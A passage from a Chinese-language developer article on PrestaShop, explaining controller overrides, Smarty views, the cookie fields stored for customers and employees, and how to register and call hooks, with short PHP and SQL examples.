or displayAjax(): Displays the content. ### 系统已有的控制器 控制器都在/controllers目录下，自己去看。 ### 重载控制器 系统自带的控制器都带了一个Core的后缀，如 &lt;pre&gt;文件 /controllers/CategoryController.php类名: CategoryControllerCore&lt;/pre&gt; 要重载该控制器的话， &lt;pre&gt;文件: /override/controllers/front/CategoryController.php类名: CategoryController&lt;/pre&gt; ## 视图 使用的Smarty引擎，文件扩展名.tpl。 ## Cookies 统一使用/classes/Cookie.php中的类进行Cookie的读写。 &lt;pre class="brush:php"&gt;$this-&gt;context-&gt;cookie-&gt;variable;&lt;/pre&gt; 前端用户存储的cookie： &lt;pre&gt;TokenDescriptionviewed The IDs of recently viewed products as a comma-separated list.passwd The MD5 hash of the _COOKIE_KEY_ in config/settings.inc.php and the password the customer used to log in.logged Whether the customer is logged in.last_visited_category The ID of the last visited category of product listings.id_wishlist The ID of the current wishlist displayed in the wishlist block.id_lang The ID of the selected language.id_guest The guest ID of the visitor when not logged in.id_customer The customer ID of the visitor when logged in.id_currency The ID of the selected currency.id_connections The connection ID of the visitor's current session.id_cart The ID of the current cart displayed in the cart block.email The email address that the customer used to log in.date_add The date and time the cookie was created (in YYYY-MM-DD HH:MM:SS format).customer_lastname The last name of the customer.customer_firstname The first name of the customer.checksum The Blowfish checksum used to determine whether the cookie has been modified by a third party.The customer will be logged out and the cookie deleted if the checksum doesn't match.checkedTOS Whether the "Terms of service" checkbox has been ticked (1 if it has and 0 if it hasn't)ajax_blockcart_display Whether the cart block is "expanded" or "collapsed".&lt;/pre&gt; 后台用户存储的cookie： TokenDescriptiondate_add The date and time the cookie was created (in YYYY-MM-DD HH:MM:SS format).id_lang The ID of the selected language.id_employee The ID of the employee.lastname The last name of the employee.firstname The first name of the employee.email The email address the employee used to log in.profile The ID of the profile that determines which tabs the employee can access.passwd The MD5 hash of the _COOKIE_KEY_ in config/settings.inc.php and the password the employee used to log in.checksum The Blowfish checksum used to determine whether the cookie has been modified by a third party.If the checksum doesn't match, the customer will be logged out and the cookie is deleted . ## 钩子 钩子是将你的代码与一些特定PrestaShop事件进行关联的机制。 主要的钩子有： &lt;pre&gt;Hook nameDescriptiondisplayFooter Displays the content in the page's footer area.displayHeader Displays the content in the page's header area.displayHome Displays the content in the page's central area.displayLeftColumn Displays the content in the page's left column.displayRightColumn Displays the content in the page's right column.displayTop Displays the content in the page's top area. &lt;/pre&gt; ### 使用钩子 在控制器中， &lt;pre class="brush:php"&gt;$this-&gt;context-&gt;smarty-&gt;assign('HOOK_LEFT_COLUMN', Module::hookExec('displayLeftColumn'));&lt;/pre&gt; 在模块中， &lt;pre class="brush:php"&gt;public function hookDisplayNameOfHook($params){ // Your code.}&lt;/pre&gt; 为了让模块响应钩子的调用，要在模块安装代码中将钩子注册到PrestaShop中， &lt;pre class="brush:php"&gt;public function install(){ return parent::install() &amp;&amp; $this-&gt;registerHook('NameOfHook');}&lt;/pre&gt; 在视图中调用钩子，很容易， &lt;pre class="brush:html"&gt;{hook h='displayLeftColumn' mod='blockcart'}&lt;/pre&gt; ### 创建自己的钩子 就是像上面模块安装代码中的一样，你想注册自己的钩子到系统中，只要简单的调用： &lt;pre class="brush:php"&gt;$this-&gt;registerHook('NameOfHook');&lt;/pre&gt; 即可。他等同于： &lt;pre class="brush:sql"&gt;INSERT INTO `ps_hook` (`name`, `title`, `description`) VALUES ('nameOfHook', 'The name of your hook', 'This is a custom hook!');&lt;/pre&gt;
文章
SQL · 前端开发 · PHP · 数据库 · 开发者 · 存储 · JavaScript · vr&ar · .NET · 开发框架
2014-01-04
华章出版社
174 人关注 | 1 讨论 | 10151 内容
+ 订阅
  • 带你读《Java并发编程的艺术》之一：并发编程的挑战
查看更多 >
开发与运维
2241 人关注 | 89468 讨论 | 33198 内容
+ 订阅
  • 用SkyWalking做分布式追踪和应用性能监控系统
  • 达摩院视觉算法黑科技之透明抠图
  • Docker镜像管理快速入门
查看更多 >
数据库
840 人关注 | 33193 讨论 | 12316 内容
+ 订阅
  • 用SkyWalking做分布式追踪和应用性能监控系统
  • 小白如何购买阿里云服务器（2020新版最详细教程）
  • 手把手教你配置阿里云服务器搭建网站（超详细图文）（小白篇）
查看更多 >
人工智能
1296 人关注 | 7029 讨论 | 20331 内容
+ 订阅
  • 达摩院视觉算法黑科技之透明抠图
  • 两大巨头联手！阿里云与宝马助力上海打造未来汽车城
  • 抖音快手淘宝直播带货盛行，企业是否还要做官网？ 网站建设公司哪家比较好？
查看更多 >
安全
399 人关注 | 21025 讨论 | 11225 内容
+ 订阅
  • 小白如何购买阿里云服务器（2020新版最详细教程）
  • 手把手教你配置阿里云服务器搭建网站（超详细图文）（小白篇）
  • 抖音快手淘宝直播带货盛行，企业是否还要做官网？ 网站建设公司哪家比较好？
查看更多 >